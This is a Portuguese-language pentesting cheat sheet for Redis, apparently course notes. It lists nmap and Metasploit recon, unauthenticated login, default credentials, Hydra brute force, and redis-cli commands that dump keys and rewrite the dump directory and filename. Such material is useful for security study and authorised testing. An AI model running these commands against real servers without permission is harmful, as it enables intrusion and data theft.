Redis | Solyd One | Ataque específicos
- Redis | Solyd One | Ataque específicos
info
Pentesting Redis: 🔗 Clique aqui
Informações padrões
- Porta → 6379
- In-memory Database (redis Redis key-value store)
- Command-Line →
redis-cli - Formato da URL
redis://:<password>@<hostname>:<port>
Comandos
- Se conectar ao redis
redis-cli -h <hostname> -p <port-number> --user <username> -a <password>
#port number is optional
#username is optional
#password is optional
Recon
- Detectar o serviço com
nmap
nmap -p 6379 target.com
- Banner Grabbing
nmap -p 6379 -sV target.com
Enumeração
- Usando metasploit
use auxiliary/scanner/redis/redis_server
set rhosts target.com
exploit
Vetores de ataque
Falta de password
redis-cli -h target.com
Credenciais fracas e padrão
redis-cli -h target.com --user <username> -a <password>
# Common credentials to try:
# admin:admin
# administrator:administrator
# root:root
# user:user
# test:test
# redis:redis
Brute force
- Usando
Hydra
hydra [-L users.txt or -l user_name] [-P pass.txt or -p password] -f [-S port] redis://target.com
hydra -P /usr/share/wordlists/seclists/Passwords/Common-Credentials/10k-most-common.txt \
-s 6379 <ip> redis
- Usando
nmap
nmap -p 6379 --script redis-brute target.com
- Usando
metasploit
use auxiliary/scanner/redis/redis_login
msf auxiliary(scanner/redis/redis_login) > set rhosts target.com
msf auxiliary(scanner/redis/redis_login) > set user_file /path/to/user.txt
msf auxiliary(scanner/redis/redis_login) > set pass_file /path/to/pass.txt
msf auxiliary(scanner/redis/redis_login) > set stop_on_success true
msf auxiliary(scanner/redis/redis_login) > exploit
Redis CLI – Cheatsheet e Enumeração
Sintaxe básica
redis-cli -h <alvo> -p <porta>
Exemplo:
redis-cli -h 10.129.5.114 -p 6379
Também é possível executar comandos diretamente sem modo interativo:
redis-cli -h <alvo> <comando>
Testando conectividade
Verifica se o servidor Redis está acessível.
redis-cli -h 10.129.5.114 ping
Retorno esperado:
PONG
Seleção de banco de dados
Redis possui múltiplos bancos numerados, geralmente de 0 a 15.
Selecionar database específico:
redis-cli -h 10.129.5.114 -n <numero_db> DBSIZE
Exemplo:
redis-cli -h 10.129.5.114 -n 0 DBSIZE
Enumeração de chaves
Listar todas as chaves:
redis-cli -h 10.129.5.114 -n 0 KEYS '*'
Contar número de chaves:
redis-cli -h 10.129.5.114 -n 0 DBSIZE
Ver tipo de uma chave:
redis-cli -h 10.129.5.114 -n 0 TYPE <chave>
Recuperando valores
Strings
redis-cli -h 10.129.5.114 -n 0 GET <chave>
Listas
redis-cli -h 10.129.5.114 -n 0 LRANGE <lista> 0 -1
Hashes
redis-cli -h 10.129.5.114 -n 0 HGETALL <hash>
Sets
redis-cli -h 10.129.5.114 -n 0 SMEMBERS <set>
Sorted Sets
redis-cli -h 10.129.5.114 -n 0 ZRANGE <zset> 0 -1
Informações do servidor
Obter informações gerais:
redis-cli -h 10.129.5.114 INFO
Informações específicas:
redis-cli -h 10.129.5.114 INFO server
Listar databases e quantidade de chaves:
redis-cli -h 10.129.5.114 INFO keyspace
Ver comandos disponíveis:
redis-cli -h 10.129.5.114 COMMAND
Configuração do Redis
Ver diretório de armazenamento:
redis-cli -h 10.129.5.114 CONFIG GET dir
Ver nome do arquivo de dump:
redis-cli -h 10.129.5.114 CONFIG GET dbfilename
Alterar diretório:
redis-cli -h 10.129.5.114 CONFIG SET dir /tmp
Alterar nome do dump:
redis-cli -h 10.129.5.114 CONFIG SET dbfilename arquivo.txt
Manipulação de dados
Criar chave:
redis-cli -h 10.129.5.114 SET <chave> "valor"
Salvar dados no disco:
redis-cli -h 10.129.5.114 SAVE
Excluir chave:
redis-cli -h 10.129.5.114 DEL <chave>
Boas práticas em enumeração
- Sempre verificar conectividade antes de executar comandos complexos.
- Identificar o tipo de chave antes de tentar extrair dados.
- Enumerar todos os databases disponíveis.
- Evitar comandos pesados em ambientes reais.
- Usar
SCANem ambientes grandes.
Exemplo com SCAN:
redis-cli -h 10.129.5.114 SCAN 0